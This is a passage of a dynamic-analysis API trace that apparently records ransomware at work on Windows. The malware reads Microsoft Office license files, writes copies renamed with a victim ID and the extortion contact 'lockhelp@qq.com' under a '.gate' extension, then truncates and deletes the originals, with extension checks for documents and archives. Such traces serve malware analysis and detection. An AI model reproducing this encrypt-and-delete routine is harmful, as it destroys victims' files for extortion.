(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1 [0317.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0317.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0317.220] lstrlenW (lpString=".doc") returned 4 [0317.220] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.220] lstrlenW (lpString=".docx") returned 5 [0317.220] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.220] lstrlenW (lpString=".pdf") returned 4 [0317.220] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.220] lstrlenW (lpString=".xls") returned 4 [0317.220] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.220] lstrlenW (lpString=".xlsx") returned 5 [0317.220] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.220] lstrlenW (lpString=".ppt") returned 4 [0317.220] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0317.220] lstrlenW (lpString=".zip") returned 4 [0317.220] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.220] lstrlenW (lpString=".rar") returned 4 [0317.220] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.220] lstrlenW (lpString=".bz2") returned 4 [0317.220] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.220] lstrlenW (lpString=".7z") returned 3 [0317.220] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0317.220] lstrlenW (lpString=".dbf") returned 4 [0317.220] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0317.220] lstrlenW (lpString=".1cd") returned 4 [0317.220] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0317.221] lstrlenW (lpString=".jpg") returned 4 [0317.221] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.221] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=11609) returned 1 [0317.221] CloseHandle (hObject=0x468) returned 1 [0317.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220 [0317.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0317.222] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.222] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0317.222] GetLastError () returned 0x0 [0317.222] ReadFile (in: hFile=0x468, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x2d59, lpOverlapped=0x0) returned 1 [0317.242] WriteFile (in: hFile=0x50c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2d60, lpOverlapped=0x0) returned 1 [0317.242] ReadFile (in: hFile=0x468, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0317.242] WriteFile (in: hFile=0x50c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x118, lpOverlapped=0x0) returned 1 [0317.242] SetEndOfFile (hFile=0x50c) returned 1 [0317.251] CloseHandle (hObject=0x50c) returned 1 [0317.252] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.252] SetEndOfFile (hFile=0x468) returned 1 [0317.290] CloseHandle (hObject=0x468) returned 1 [0317.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1 [0317.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0317.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0317.291] lstrlenW (lpString=".doc") returned 4 [0317.292] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.292] lstrlenW (lpString=".docx") returned 5 [0317.292] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.292] lstrlenW (lpString=".pdf") returned 4 [0317.292] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.292] lstrlenW (lpString=".xls") returned 4 [0317.292] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.292] lstrlenW (lpString=".xlsx") returned 5 [0317.292] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.292] lstrlenW (lpString=".ppt") returned 4 [0317.292] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0317.292] lstrlenW (lpString=".zip") returned 4 [0317.292] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.292] lstrlenW (lpString=".rar") returned 4 [0317.292] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.292] lstrlenW (lpString=".bz2") returned 4 [0317.292] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.292] lstrlenW (lpString=".7z") returned 3 [0317.292] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0317.292] lstrlenW (lpString=".dbf") returned 4 [0317.292] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0317.292] lstrlenW (lpString=".1cd") returned 4 [0317.292] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0317.292] lstrlenW (lpString=".jpg") returned 4 [0317.292] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.293] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10659) returned 1 [0317.293] CloseHandle (hObject=0x468) returned 1 [0317.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220 [0317.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0317.295] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.295] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0317.296] GetLastError () returned 0x0 [0317.296] ReadFile (in: hFile=0x468, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x29a3, lpOverlapped=0x0) returned 1 [0317.337] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x29b0, lpOverlapped=0x0) returned 1 [0317.338] ReadFile (in: hFile=0x468, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0317.338] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x112, lpOverlapped=0x0) returned 1 [0317.338] SetEndOfFile (hFile=0x4c4) returned 1 [0317.338] CloseHandle (hObject=0x4c4) returned 1 [0317.338] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.338] SetEndOfFile (hFile=0x468) returned 1 [0317.341] CloseHandle (hObject=0x468) returned 1 [0317.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1 [0317.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0317.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0317.342] lstrlenW (lpString=".doc") returned 4 [0317.342] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.342] lstrlenW (lpString=".docx") returned 5 [0317.342] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.342] lstrlenW (lpString=".pdf") returned 4 [0317.342] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.342] lstrlenW (lpString=".xls") returned 4 [0317.342] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.342] lstrlenW (lpString=".xlsx") returned 5 [0317.342] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.342] lstrlenW (lpString=".ppt") returned 4 [0317.342] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0317.342] lstrlenW (lpString=".zip") returned 4 [0317.342] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.342] lstrlenW (lpString=".rar") returned 4 [0317.342] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.342] lstrlenW (lpString=".bz2") returned 4 [0317.342] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.343] lstrlenW (lpString=".7z") returned 3 [0317.343] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0317.343] lstrlenW (lpString=".dbf") returned 4 [0317.343] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0317.343] lstrlenW (lpString=".1cd") returned 4 [0317.343] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0317.343] lstrlenW (lpString=".jpg") returned 4 [0317.343] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.343] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=19958) returned 1 [0317.343] CloseHandle (hObject=0x468) returned 1 [0317.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220 [0317.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0317.344] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.344] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0317.345] GetLastError () returned 0x0 [0317.345] ReadFile (in: hFile=0x468, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x4df6, lpOverlapped=0x0) returned 1 [0317.457] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0317.458] ReadFile (in: hFile=0x468, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0317.458] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11a, lpOverlapped=0x0) returned 1 [0317.458] SetEndOfFile (hFile=0x4c4) returned 1 [0317.460] CloseHandle (hObject=0x4c4) returned 1 [0317.461] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.461] SetEndOfFile (hFile=0x468) returned 1 [0317.467] CloseHandle (hObject=0x468) returned 1 [0317.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1 [0317.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0317.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0317.629] lstrlenW (lpString=".doc") returned 4 [0317.629] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.629] lstrlenW (lpString=".docx") returned 5 [0317.629] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.629] lstrlenW (lpString=".pdf") returned 4 [0317.629] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.629] lstrlenW (lpString=".xls") returned 4 [0317.629] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.629] lstrlenW (lpString=".xlsx") returned 5 [0317.629] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.629] lstrlenW (lpString=".ppt") returned 4 [0317.629] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0317.629] lstrlenW (lpString=".zip") returned 4 [0317.629] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.629] lstrlenW (lpString=".rar") returned 4 [0317.629] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.629] lstrlenW (lpString=".bz2") returned 4 [0317.629] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.629] lstrlenW (lpString=".7z") returned 3 [0317.629] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0317.629] lstrlenW (lpString=".dbf") returned 4 [0317.629] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0317.629] lstrlenW (lpString=".1cd") returned 4 [0317.629] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85 [0317.630] lstrlenW (lpString=".jpg") returned 4 [0317.630] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.647] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=19958) returned 1 [0317.647] CloseHandle (hObject=0x4b4) returned 1 [0317.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220 [0317.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0317.648] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.648] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0317.648] GetLastError () returned 0x0 [0317.649] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x4df6, lpOverlapped=0x0) returned 1 [0317.698] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0317.699] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0317.699] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x11a, lpOverlapped=0x0) returned 1 [0317.699] SetEndOfFile (hFile=0x4c4) returned 1 [0317.699] CloseHandle (hObject=0x4c4) returned 1 [0317.699] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0317.699] SetEndOfFile (hFile=0x4b4) returned 1 [0317.702] CloseHandle (hObject=0x4b4) returned 1 [0317.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1 [0317.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0317.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0317.703] lstrlenW (lpString=".doc") returned 4 [0317.703] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.703] lstrlenW (lpString=".docx") returned 5 [0317.703] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.703] lstrlenW (lpString=".pdf") returned 4 [0317.703] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.703] lstrlenW (lpString=".xls") returned 4 [0317.703] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.703] lstrlenW (lpString=".xlsx") returned 5 [0317.703] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.703] lstrlenW (lpString=".ppt") returned 4 [0317.703] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0317.703] lstrlenW (lpString=".zip") returned 4 [0317.703] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.703] lstrlenW (lpString=".rar") returned 4 [0317.703] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.703] lstrlenW (lpString=".bz2") returned 4 [0317.703] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.703] lstrlenW (lpString=".7z") returned 